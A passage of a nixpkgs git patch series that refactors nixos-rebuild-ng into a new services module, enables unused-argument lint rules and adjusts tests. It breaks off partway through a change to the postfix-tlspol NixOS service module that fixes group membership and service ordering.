-                os.execve(new, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
-            except Exception:
-                # Possible errors that we can have here:
-                # - Missing the binary
-                # - Exec format error (e.g.: another OS/CPU arch)
-                logger.warning(
-                    "could not re-exec in a newer version of nixos-rebuild, "
-                    "using current version",
-                    exc_info=logger.isEnabledFor(logging.DEBUG),
-                )
-                # We already run clean-up, let's re-exec in the current version
-                # to avoid issues
-                os.execve(current, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
-
-
-def validate_image_variant(image_variant: str, variants: ImageVariants) -> None:
-    if image_variant not in variants:
-        raise NixOSRebuildError(
-            "please specify one of the following supported image variants via "
-            "--image-variant:\n" + "\n".join(f"- {v}" for v in variants)
-        )
-
-
 def execute(argv: list[str]) -> None:
     args, args_groups = parse_args(argv)
 
@@ -395,147 +327,20 @@ def execute(argv: list[str]) -> None:
             | Action.BUILD_VM
             | Action.BUILD_VM_WITH_BOOTLOADER
         ):
-            logger.info("building the system configuration...")
-
-            dry_run = action == Action.DRY_BUILD
-            no_link = action in (Action.SWITCH, Action.BOOT)
-            rollback = bool(args.rollback)
-
-            match action:
-                case Action.BUILD_IMAGE if flake:
-                    variants = nix.get_build_image_variants_flake(
-                        flake,
-                        eval_flags=flake_common_flags,
-                    )
-                    validate_image_variant(args.image_variant, variants)
-                    attr = f"config.system.build.images.{args.image_variant}"
-                case Action.BUILD_IMAGE:
-                    variants = nix.get_build_image_variants(
-                        build_attr,
-                        instantiate_flags=common_flags,
-                    )
-                    validate_image_variant(args.image_variant, variants)
-                    attr = f"config.system.build.images.{args.image_variant}"
-                case Action.BUILD_VM:
-                    attr = "config.system.build.vm"
-                case Action.BUILD_VM_WITH_BOOTLOADER:
-                    attr = "config.system.build.vmWithBootLoader"
-                case _:
-                    attr = "config.system.build.toplevel"
-
-            match (action, rollback, build_host, flake):
-                case (Action.SWITCH | Action.BOOT, True, _, _):
-                    path_to_config = nix.rollback(profile, target_host, sudo=args.sudo)
-                case (Action.TEST | Action.BUILD, True, _, _):
-                    maybe_path_to_config = nix.rollback_temporary_profile(
-                        profile,
-                        target_host,
-                        sudo=args.sudo,
-                    )
-                    if maybe_path_to_config:  # kinda silly but this makes mypy happy
-                        path_to_config = maybe_path_to_config
-                    else:
-                        raise NixOSRebuildError("could not find previous generation")
-                case (_, True, _, _):
-                    raise NixOSRebuildError(
-                        f"--rollback is incompatible with '{action}'"
-                    )
-                case (_, False, Remote(_), Flake(_)):
-                    path_to_config = nix.build_remote_flake(
-                        attr,
-                        flake,
-                        build_host,
-                        eval_flags=flake_common_flags,
-                        flake_build_flags=flake_build_flags
-                        | {"no_link": no_link, "dry_run": dry_run},
-                        copy_flags=copy_flags,
-                    )
-                case (_, False, None, Flake(_)):
-                    path_to_config = nix.build_flake(
-                        attr,
-                        flake,
-                        flake_build_flags=flake_build_flags
-                        | {"no_link": no_link, "dry_run": dry_run},
-                    )
-                case (_, False, Remote(_), None):
-                    path_to_config = nix.build_remote(
-                        attr,
-                        build_attr,
-                        build_host,
-                        realise_flags=common_flags,
-                        instantiate_flags=build_flags,
-                        copy_flags=copy_flags,
-                    )
-                case (_, False, None, None):
-                    path_to_config = nix.build(
-                        attr,
-                        build_attr,
-                        build_flags=build_flags
-                        | {"no_out_link": no_link, "dry_run": dry_run},
-                    )
-                case never:
-                    # should never happen, but mypy is not smart enough to
-                    # handle this with assert_never
-                    # https://github.com/python/mypy/issues/16650
-                    # https://github.com/python/mypy/issues/16722
-                    raise AssertionError(
-                        f"expected code to be unreachable, but got: {never}"
-                    )
-
-            if not rollback:
-                nix.copy_closure(
-                    path_to_config,
-                    to_host=target_host,
-                    from_host=build_host,
-                    copy_flags=copy_flags,
-                )
-                if action in (Action.SWITCH, Action.BOOT):
-                    nix.set_profile(
-                        profile,
-                        path_to_config,
-                        target_host=target_host,
-                        sudo=args.sudo,
-                    )
-
-            # Print only the result to stdout to make it easier to script
-            def print_result(msg: str, result: str | Path) -> None:
-                print(msg, end=" ", file=sys.stderr, flush=True)
-                print(result, flush=True)
-
-            match action:
-                case Action.SWITCH | Action.BOOT | Action.TEST | Action.DRY_ACTIVATE:
-                    nix.switch_to_configuration(
-                        path_to_config,
-                        action,
-                        target_host=target_host,
-                        sudo=args.sudo,
-                        specialisation=args.specialisation,
-                        install_bootloader=args.install_bootloader,
-                    )
-                    print_result("Done. The new configuration is", path_to_config)
-                case Action.BUILD:
-                    print_result("Done. The new configuration is", path_to_config)
-                case Action.BUILD_VM | Action.BUILD_VM_WITH_BOOTLOADER:
-                    # If you get `not-found`, please open an issue
-                    vm_path = next(path_to_config.glob("bin/run-*-vm"), "not-found")
-                    print_result(
-                        "Done. The virtual machine can be started by running", vm_path
-                    )
-                case Action.BUILD_IMAGE:
-                    if flake:
-                        image_name = nix.get_build_image_name_flake(
-                            flake,
-                            args.image_variant,
-                            eval_flags=flake_common_flags,
-                        )
-                    else:
-                        image_name = nix.get_build_image_name(
-                            build_attr,
-                            args.image_variant,
-                            instantiate_flags=flake_common_flags,
-                        )
-                    disk_path = path_to_config / image_name
-                    print_result("Done. The disk image can be found in", disk_path)
+            build_and_activate_system(
+                action=action,
+                args=args,
+                build_host=build_host,
+                target_host=target_host,
+                profile=profile,
+                flake=flake,
+                build_attr=build_attr,
+                build_flags=build_flags,
+                common_flags=common_flags,
+                copy_flags=copy_flags,
+                flake_build_flags=flake_build_flags,
+                flake_common_flags=flake_common_flags,
+            )
 
         case Action.EDIT:
             nix.edit(flake, flake_build_flags)
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
new file mode 100644
index 000000000000..fd9ec3bfea93
--- /dev/null
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -0,0 +1,319 @@
+import argparse
+import logging
+import os
+import sys
+from pathlib import Path
+from subprocess import CalledProcessError
+from typing import Final
+
+from . import nix, tmpdir
+from .constants import EXECUTABLE
+from .models import Action, BuildAttr, Flake, ImageVariants, NixOSRebuildError, Profile
+from .process import Remote, cleanup_ssh
+from .utils import Args
+
+NIXOS_REBUILD_ATTR: Final = "config.system.build.nixos-rebuild"
+
+logger: Final = logging.getLogger(__name__)
+logger.setLevel(logging.INFO)
+
+
+def reexec(
+    argv: list[str],
+    args: argparse.Namespace,
+    build_flags: Args,
+    flake_build_flags: Args,
+) -> None:
+    drv = None
+    try:
+        # Parsing the args here but ignore ask_sudo_password since it is not
+        # needed and we would end up asking sudo password twice
+        if flake := Flake.from_arg(args.flake, Remote.from_arg(args.target_host, None)):
+            drv = nix.build_flake(
+                NIXOS_REBUILD_ATTR,
+                flake,
+                flake_build_flags | {"no_link": True},
+            )
+        else:
+            build_attr = BuildAttr.from_arg(args.attr, args.file)
+            drv = nix.build(
+                NIXOS_REBUILD_ATTR,
+                build_attr,
+                build_flags | {"no_out_link": True},
+            )
+    except CalledProcessError:
+        logger.warning(
+            "could not build a newer version of nixos-rebuild, using current version",
+            exc_info=logger.isEnabledFor(logging.DEBUG),
+        )
+
+    if drv:
+        new = drv / f"bin/{EXECUTABLE}"
+        current = Path(argv[0])
+        if new != current:
+            logger.debug(
+                "detected newer version of script, re-exec'ing, current=%s, new=%s",
+                current,
+                new,
+            )
+            # Manually call clean-up functions since os.execve() will replace
+            # the process immediately
+            cleanup_ssh()
+            tmpdir.TMPDIR.cleanup()
+            try:
+                os.execve(new, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
+            except Exception:
+                # Possible errors that we can have here:
+                # - Missing the binary
+                # - Exec format error (e.g.: another OS/CPU arch)
+                logger.warning(
+                    "could not re-exec in a newer version of nixos-rebuild, "
+                    "using current version",
+                    exc_info=logger.isEnabledFor(logging.DEBUG),
+                )
+                # We already run clean-up, let's re-exec in the current version
+                # to avoid issues
+                os.execve(current, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
+
+
+def _validate_image_variant(image_variant: str, variants: ImageVariants) -> None:
+    if image_variant not in variants:
+        raise NixOSRebuildError(
+            "please specify one of the following supported image variants via "
+            "--image-variant:\n" + "\n".join(f"- {v}" for v in variants)
+        )
+
+
+def _get_system_attr(
+    action: Action,
+    args: argparse.Namespace,
+    flake: Flake | None,
+    build_attr: BuildAttr,
+    common_flags: Args,
+    flake_common_flags: Args,
+) -> str:
+    match action:
+        case Action.BUILD_IMAGE if flake:
+            variants = nix.get_build_image_variants_flake(
+                flake,
+                eval_flags=flake_common_flags,
+            )
+            _validate_image_variant(args.image_variant, variants)
+            attr = f"config.system.build.images.{args.image_variant}"
+        case Action.BUILD_IMAGE:
+            variants = nix.get_build_image_variants(
+                build_attr,
+                instantiate_flags=common_flags,
+            )
+            _validate_image_variant(args.image_variant, variants)
+            attr = f"config.system.build.images.{args.image_variant}"
+        case Action.BUILD_VM:
+            attr = "config.system.build.vm"
+        case Action.BUILD_VM_WITH_BOOTLOADER:
+            attr = "config.system.build.vmWithBootLoader"
+        case _:
+            attr = "config.system.build.toplevel"
+
+    return attr
+
+
+def _build_system(
+    attr: str,
+    action: Action,
+    args: argparse.Namespace,
+    build_host: Remote | None,
+    target_host: Remote | None,
+    profile: Profile,
+    flake: Flake | None,
+    build_attr: BuildAttr,
+    build_flags: Args,
+    common_flags: Args,
+    copy_flags: Args,
+    flake_build_flags: Args,
+    flake_common_flags: Args,
+) -> Path:
+    dry_run = action == Action.DRY_BUILD
+    no_link = action in (Action.SWITCH, Action.BOOT)
+
+    match (action, args.rollback, build_host, flake):
+        case (Action.SWITCH | Action.BOOT, True, _, _):
+            path_to_config = nix.rollback(profile, target_host, sudo=args.sudo)
+        case (Action.TEST | Action.BUILD, True, _, _):
+            maybe_path_to_config = nix.rollback_temporary_profile(
+                profile,
+                target_host,
+                sudo=args.sudo,
+            )
+            if maybe_path_to_config:  # kinda silly but this makes mypy happy
+                path_to_config = maybe_path_to_config
+            else:
+                raise NixOSRebuildError("could not find previous generation")
+        case (_, True, _, _):
+            raise NixOSRebuildError(f"--rollback is incompatible with '{action}'")
+        case (_, False, Remote(_), Flake(_)):
+            path_to_config = nix.build_remote_flake(
+                attr,
+                flake,
+                build_host,
+                eval_flags=flake_common_flags,
+                flake_build_flags=flake_build_flags
+                | {"no_link": no_link, "dry_run": dry_run},
+                copy_flags=copy_flags,
+            )
+        case (_, False, None, Flake(_)):
+            path_to_config = nix.build_flake(
+                attr,
+                flake,
+                flake_build_flags=flake_build_flags
+                | {"no_link": no_link, "dry_run": dry_run},
+            )
+        case (_, False, Remote(_), None):
+            path_to_config = nix.build_remote(
+                attr,
+                build_attr,
+                build_host,
+                realise_flags=common_flags,
+                instantiate_flags=build_flags,
+                copy_flags=copy_flags,
+            )
+        case (_, False, None, None):
+            path_to_config = nix.build(
+                attr,
+                build_attr,
+                build_flags=build_flags | {"no_out_link": no_link, "dry_run": dry_run},
+            )
+        case never:
+            # should never happen, but mypy is not smart enough to
+            # handle this with assert_never
+            # https://github.com/python/mypy/issues/16650
+            # https://github.com/python/mypy/issues/16722
+            raise AssertionError(f"expected code to be unreachable, but got: {never}")
+
+    if not args.rollback:
+        nix.copy_closure(
+            path_to_config,
+            to_host=target_host,
+            from_host=build_host,
+            copy_flags=copy_flags,
+        )
+
+    return path_to_config
+
+
+def _activate_system(
+    path_to_config: Path,
+    action: Action,
+    args: argparse.Namespace,
+    build_host: Remote | None,
+    target_host: Remote | None,
+    profile: Profile,
+    flake: Flake | None,
+    build_attr: BuildAttr,
+    flake_common_flags: Args,
+    common_flags: Args,
+) -> None:
+    # Print only the result to stdout to make it easier to script
+    def print_result(msg: str, result: str | Path) -> None:
+        print(msg, end=" ", file=sys.stderr, flush=True)
+        print(result, flush=True)
+
+    match action:
+        case Action.SWITCH | Action.BOOT if not args.rollback:
+            nix.set_profile(
+                profile,
+                path_to_config,
+                target_host=target_host,
+                sudo=args.sudo,
+            )
+            nix.switch_to_configuration(
+                path_to_config,
+                action,
+                target_host=target_host,
+                sudo=args.sudo,
+                specialisation=args.specialisation,
+                install_bootloader=args.install_bootloader,
+            )
+            print_result("Done. The new configuration is", path_to_config)
+        case Action.SWITCH | Action.BOOT | Action.TEST | Action.DRY_ACTIVATE:
+            nix.switch_to_configuration(
+                path_to_config,
+                action,
+                target_host=target_host,
+                sudo=args.sudo,
+                specialisation=args.specialisation,
+                install_bootloader=args.install_bootloader,
+            )
+            print_result("Done. The new configuration is", path_to_config)
+        case Action.BUILD:
+            print_result("Done. The new configuration is", path_to_config)
+        case Action.BUILD_VM | Action.BUILD_VM_WITH_BOOTLOADER:
+            # If you get `not-found`, please open an issue
+            vm_path = next(path_to_config.glob("bin/run-*-vm"), "not-found")
+            print_result("Done. The virtual machine can be started by running", vm_path)
+        case Action.BUILD_IMAGE:
+            if flake:
+                image_name = nix.get_build_image_name_flake(
+                    flake,
+                    args.image_variant,
+                    eval_flags=flake_common_flags,
+                )
+            else:
+                image_name = nix.get_build_image_name(
+                    build_attr,
+                    args.image_variant,
+                    instantiate_flags=common_flags,
+                )
+            disk_path = path_to_config / image_name
+            print_result("Done. The disk image can be found in", disk_path)
+
+
+def build_and_activate_system(
+    action: Action,
+    args: argparse.Namespace,
+    build_host: Remote | None,
+    target_host: Remote | None,
+    profile: Profile,
+    flake: Flake | None,
+    build_attr: BuildAttr,
+    build_flags: Args,
+    common_flags: Args,
+    copy_flags: Args,
+    flake_build_flags: Args,
+    flake_common_flags: Args,
+) -> None:
+    logger.info("building the system configuration...")
+    attr = _get_system_attr(
+        action=action,
+        args=args,
+        flake=flake,
+        build_attr=build_attr,
+        common_flags=common_flags,
+        flake_common_flags=flake_common_flags,
+    )
+    path_to_config = _build_system(
+        attr,
+        action=action,
+        args=args,
+        build_host=build_host,
+        target_host=target_host,
+        profile=profile,
+        flake=flake,
+        build_attr=build_attr,
+        build_flags=build_flags,
+        common_flags=common_flags,
+        copy_flags=copy_flags,
+        flake_build_flags=flake_build_flags,
+        flake_common_flags=flake_common_flags,
+    )
+    _activate_system(
+        path_to_config,
+        action=action,
+        args=args,
+        build_host=build_host,
+        target_host=target_host,
+        profile=profile,
+        flake=flake,
+        build_attr=build_attr,
+        common_flags=common_flags,
+        flake_common_flags=flake_common_flags,
+    )
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index e3678420bc14..fdf4cdb31a96 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -141,7 +141,7 @@ def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -
     mock_build.assert_has_calls(
         [
             call(
-                nr.NIXOS_REBUILD_ATTR,
+                nr.services.NIXOS_REBUILD_ATTR,
                 nr.models.BuildAttr(ANY, ANY),
                 {"build": True, "no_out_link": True},
             )
@@ -185,7 +185,7 @@ def test_reexec_flake(
 
     nr.reexec(argv, args, {"build": True}, {"flake": True})
     mock_build.assert_called_once_with(
-        nr.NIXOS_REBUILD_ATTR,
+        nr.services.NIXOS_REBUILD_ATTR,
         nr.models.Flake(ANY, ANY),
         {"flake": True, "no_link": True},
     )
@@ -536,7 +536,7 @@ def test_execute_nix_switch_flake(mock_run: Mock, tmp_path: Path) -> None:
 )
 @patch("subprocess.run", autospec=True)
 @patch("uuid.uuid4", autospec=True)
-@patch(get_qualified_name(nr.cleanup_ssh), autospec=True)
+@patch(get_qualified_name(nr.services.cleanup_ssh), autospec=True)
 @pytest.mark.skipif(
     not WITH_NIX_2_18,
     reason="Tests internal logic based on the assumption that Nix >= 2.18",
@@ -755,7 +755,7 @@ def test_execute_nix_switch_build_target_host(
     clear=True,
 )
 @patch("subprocess.run", autospec=True)
-@patch(get_qualified_name(nr.cleanup_ssh), autospec=True)
+@patch(get_qualified_name(nr.services.cleanup_ssh), autospec=True)
 def test_execute_nix_switch_flake_target_host(
     mock_cleanup_ssh: Mock,
     mock_run: Mock,
@@ -862,7 +862,7 @@ def test_execute_nix_switch_flake_target_host(
     clear=True,
 )
 @patch("subprocess.run", autospec=True)
-@patch(get_qualified_name(nr.cleanup_ssh), autospec=True)
+@patch(get_qualified_name(nr.services.cleanup_ssh), autospec=True)
 def test_execute_nix_switch_flake_build_host(
     mock_cleanup_ssh: Mock,
     mock_run: Mock,

From 5bed0f51efb1a593f8dbb5328e8275a109906f19 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 26 Jun 2025 23:22:37 +0100
Subject: [PATCH 1757/4511] nixos-rebuild-ng: enable unused arguments linter

(cherry picked from commit 86665fc0a29698ff84b407900109999a93ae11ba)
---
 .../src/nixos_rebuild/__init__.py                 |  4 ++--
 .../nixos-rebuild-ng/src/nixos_rebuild/models.py  |  2 +-
 .../ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py  |  4 ++--
 .../src/nixos_rebuild/services.py                 |  2 --
 .../ni/nixos-rebuild-ng/src/pyproject.toml        | 15 +++++++++++++--
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py     |  6 +++---
 6 files changed, 21 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 1759317fc733..a72750f516e3 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -366,9 +366,9 @@ def execute(argv: list[str]) -> None:
 
         case Action.REPL:
             if flake:
-                nix.repl_flake("toplevel", flake, flake_build_flags)
+                nix.repl_flake(flake, flake_build_flags)
             else:
-                nix.repl("system", build_attr, build_flags)
+                nix.repl(build_attr, build_flags)
 
         case _:
             assert_never(action)
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
index c0183e1a265b..79be8f4cbc3d 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
@@ -154,7 +154,7 @@ class Flake:
             return cls(path, nixos_attr)
 
     @classmethod
-    def from_arg(cls, flake_arg: Any, target_host: Remote | None) -> Self | None:
+    def from_arg(cls, flake_arg: Any, target_host: Remote | None) -> Self | None:  # noqa: ANN401
         match flake_arg:
             case str(s):
                 return cls.parse(s, target_host)
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index 0d8abca0f92d..513c5e43e1a4 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -545,14 +545,14 @@ def list_generations(profile: Profile) -> list[GenerationJson]:
         )
 
 
-def repl(attr: str, build_attr: BuildAttr, nix_flags: Args | None = None) -> None:
+def repl(build_attr: BuildAttr, nix_flags: Args | None = None) -> None:
     run_args = ["nix", "repl", "--file", build_attr.path]
     if build_attr.attr:
         run_args.append(build_attr.attr)
     run_wrapper([*run_args, *dict_to_flags(nix_flags)])
 
 
-def repl_flake(attr: str, flake: Flake, flake_flags: Args | None = None) -> None:
+def repl_flake(flake: Flake, flake_flags: Args | None = None) -> None:
     expr = Template(
         files(__package__).joinpath(FLAKE_REPL_TEMPLATE).read_text()
     ).substitute(
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
index fd9ec3bfea93..8826bbf61ad6 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -204,7 +204,6 @@ def _activate_system(
     path_to_config: Path,
     action: Action,
     args: argparse.Namespace,
-    build_host: Remote | None,
     target_host: Remote | None,
     profile: Profile,
     flake: Flake | None,
@@ -309,7 +308,6 @@ def build_and_activate_system(
         path_to_config,
         action=action,
         args=args,
-        build_host=build_host,
         target_host=target_host,
         profile=profile,
         flake=flake,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml b/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml
index 3eb78f58e032..757067db9f06 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml
@@ -65,10 +65,21 @@ extend-select = [
     "ISC001",
     "ISC002",
     "ISC003",
+    # unused arguments
+    "ARG001",
+    "ARG002",
+    "ARG003",
+    "ARG004",
+    "ARG005",
 ]
-ignore = [
+
+[tool.ruff.lint.per-file-ignores]
+"tests/*" = [
+    # allow unused arguments in tests (e.g., mocks)
+    "ARG001",
+    "ARG005",
     # allow Any type
-   "ANN401"
+    "ANN401"
 ]
 
 [tool.pytest.ini_options]
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index 1bca16260012..a8f00fbfc8a6 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -579,18 +579,18 @@ def test_list_generations(mock_get_generations: Mock, tmp_path: Path) -> None:
 
 @patch(get_qualified_name(n.run_wrapper, n), autospec=True)
 def test_repl(mock_run: Mock) -> None:
-    n.repl("attr", m.BuildAttr("<nixpkgs/nixos>", None), {"nix_flag": True})
+    n.repl(m.BuildAttr("<nixpkgs/nixos>", None), {"nix_flag": True})
     mock_run.assert_called_with(
         ["nix", "repl", "--file", "<nixpkgs/nixos>", "--nix-flag"]
     )
 
-    n.repl("attr", m.BuildAttr(Path("file.nix"), "myAttr"))
+    n.repl(m.BuildAttr(Path("file.nix"), "myAttr"))
     mock_run.assert_called_with(["nix", "repl", "--file", Path("file.nix"), "myAttr"])
 
 
 @patch(get_qualified_name(n.run_wrapper, n), autospec=True)
 def test_repl_flake(mock_run: Mock) -> None:
-    n.repl_flake("attr", m.Flake(Path("flake.nix"), "myAttr"), {"nix_flag": True})
+    n.repl_flake(m.Flake(Path("flake.nix"), "myAttr"), {"nix_flag": True})
     # See nixos-rebuild-ng.tests.repl for a better test,
     # this is mostly for sanity check
     assert mock_run.call_count == 1

From 3a98000001bf8c4501a1725aabfaca93bcc41f65 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Fri, 27 Jun 2025 11:44:31 +0100
Subject: [PATCH 1758/4511] nixos-rebuild-ng: fix tests when `withReexec =
 true`

(cherry picked from commit e18c139187712e7739cc88a5ee7a1dbd7fb24a76)
---
 pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index fdf4cdb31a96..425997aa82b1 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -132,7 +132,7 @@ def test_parse_args() -> None:
 @patch("os.execve", autospec=True)
 @patch(get_qualified_name(nr.nix.build), autospec=True)
 def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -> None:
-    monkeypatch.setattr(nr, "EXECUTABLE", "nixos-rebuild-ng")
+    monkeypatch.setattr(nr.services, "EXECUTABLE", "nixos-rebuild-ng")
     argv = ["/path/bin/nixos-rebuild-ng", "switch", "--no-flake"]
     args, _ = nr.parse_args(argv)
     mock_build.return_value = Path("/path")
@@ -178,7 +178,7 @@ def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -
 def test_reexec_flake(
     mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch
 ) -> None:
-    monkeypatch.setattr(nr, "EXECUTABLE", "nixos-rebuild-ng")
+    monkeypatch.setattr(nr.services, "EXECUTABLE", "nixos-rebuild-ng")
     argv = ["/path/bin/nixos-rebuild-ng", "switch", "--flake"]
     args, _ = nr.parse_args(argv)
     mock_build.return_value = Path("/path")

From 91be47a6c34677a5086b7a7c070250cd4cc92167 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Fri, 27 Jun 2025 11:45:21 +0100
Subject: [PATCH 1759/4511] nixos-rebuild-ng: add test when
 `withReexec`/`withNgSuffix` is used

This is to make sure that we don't introduce regressions in those code
paths.

(cherry picked from commit 31d8e6535b6b8c86629f3f02583fecf129e1618b)
---
 pkgs/by-name/ni/nixos-rebuild-ng/package.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
index 020b9ae7694a..955ba82e420f 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
@@ -111,6 +111,10 @@ python3Packages.buildPythonApplication rec {
       };
 
       tests = {
+        with_reexec = nixos-rebuild-ng.override {
+          withReexec = true;
+          withNgSuffix = false;
+        };
         with_nix_latest = nixos-rebuild-ng.override {
           nix = nixVersions.latest;
         };
@@ -122,11 +126,9 @@ python3Packages.buildPythonApplication rec {
           nix = nixVersions.nix_2_3;
         };
         with_lix_latest = nixos-rebuild-ng.override {
-          # oldest / minimum supported version in nixpkgs
           nix = lixPackageSets.latest.lix;
         };
         with_lix_stable = nixos-rebuild-ng.override {
-          # oldest / minimum supported version in nixpkgs
           nix = lixPackageSets.stable.lix;
         };
 

From 7d4cbd07d878577f71b6f1b1d4089f4095e1dbd2 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 21 Jun 2025 00:35:23 +0200
Subject: [PATCH 1760/4511] nixos/postfix-tlspol: fix postfix integration

Fixes the group membership for postfix processes in the postfix-tlspol
group.

Makes the postfix.service start up after postfix-tlspol.service, because
it depends on it for the TLS policy lookups.

(cherry picked from commit 64e7fad03872084999ebf8b76b413f8afed37d0a)
---
 .../modules/services/mail/postfix-tlspol.nix  | 202 ++++++++++--------
 nixos/tests/postfix-tlspol.nix                |   2 +
 2 files changed, 109 insertions(+), 95 deletions(-)

diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index 01373659da4a..e86c65384663 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -10,6 +10,7 @@ let
     hasPrefix
     mkEnableOption
     mkIf
+    mkMerge
     mkOption
     mkPackageOption
     types
@@ -121,100 +122,111 @@ in
     };
   };
 
-  config = mkIf cfg.enable {
-    environment.etc."postfix-tlspol/config.yaml".source =
-      format.generate "postfix-tlspol.yaml" cfg.settings;
-
-    environment.systemPackages = [ cfg.package ];
-
-    # https://github.com/Zuplu/postfix-tlspol#postfix-configuration
-    services.postfix.config = mkIf (config.services.postfix.enable && cfg.configurePostfix) {
-      smtp_dns_support_level = "dnssec";
-      smtp_tls_security_level = "dane";
-      smtp_tls_policy_maps =
-        let
-          address =
-            if (hasPrefix "unix:" cfg.settings.server.address) then
-              cfg.settings.server.address
-            else
-              "inet:${cfg.settings.server.address}";
-        in
-        [ "socketmap:${address}:QUERYwithTLSRPT" ];
-    };
-
-    systemd.services.postfix-tlspol = {
-      after = [
-        "nss-lookup.target"
-        "network-online.target"
-      ];
-      wants = [
-        "nss-lookup.target"
-        "network-online.target"
-      ];
-      wantedBy = [ "multi-user.target" ];
-
-      description = "Postfix DANE/MTA-STS TLS policy socketmap service";
-      documentation = [ "https://github.com/Zuplu/postfix-tlspol" ];
-
-      # https://github.com/Zuplu/postfix-tlspol/blob/main/init/postfix-tlspol.service
-      serviceConfig = {
-        ExecStart = toString [
-          (lib.getExe cfg.package)
-          "-config"
-          "/etc/postfix-tlspol/config.yaml"
-        ];
-        ExecReload = "${lib.getExe' pkgs.util-linux "kill"} -HUP $MAINPID";
-        Restart = "always";
-        RestartSec = 5;
-
-        DynamicUser = true;
-
-        CacheDirectory = "postfix-tlspol";
-        CapabilityBoundingSet = [ "" ];
-        LockPersonality = true;
-        MemoryDenyWriteExecute = true;
-        NoNewPrivileges = true;
-        PrivateDevices = true;
-        PrivateTmp = true;
-        PrivateUsers = true;
-        ProcSubset = "pid";
-        ProtectClock = true;
-        ProtectControlGroups = true;
-        ProtectHome = true;
-        ProtectHostname = true;
-        ProtectKernelLogs = true;
-        ProtectKernelModules = true;
-        ProtectKernelTunables = true;
-        ProtectProc = "invisible";
-        ProtectSystem = "strict";
-        ReadOnlyPaths = [ "/etc/postfix-tlspol/config.yaml" ];
-        RemoveIPC = true;
-        RestrictAddressFamilies =
-          [
-            "AF_INET"
-            "AF_INET6"
-          ]
-          ++ lib.optionals (lib.hasPrefix "unix:" cfg.settings.server.address) [
-            "AF_UNIX"
-          ];
-        RestrictNamespace = true;
-        RestrictRealtime = true;
-        RestrictSUIDSGID = true;
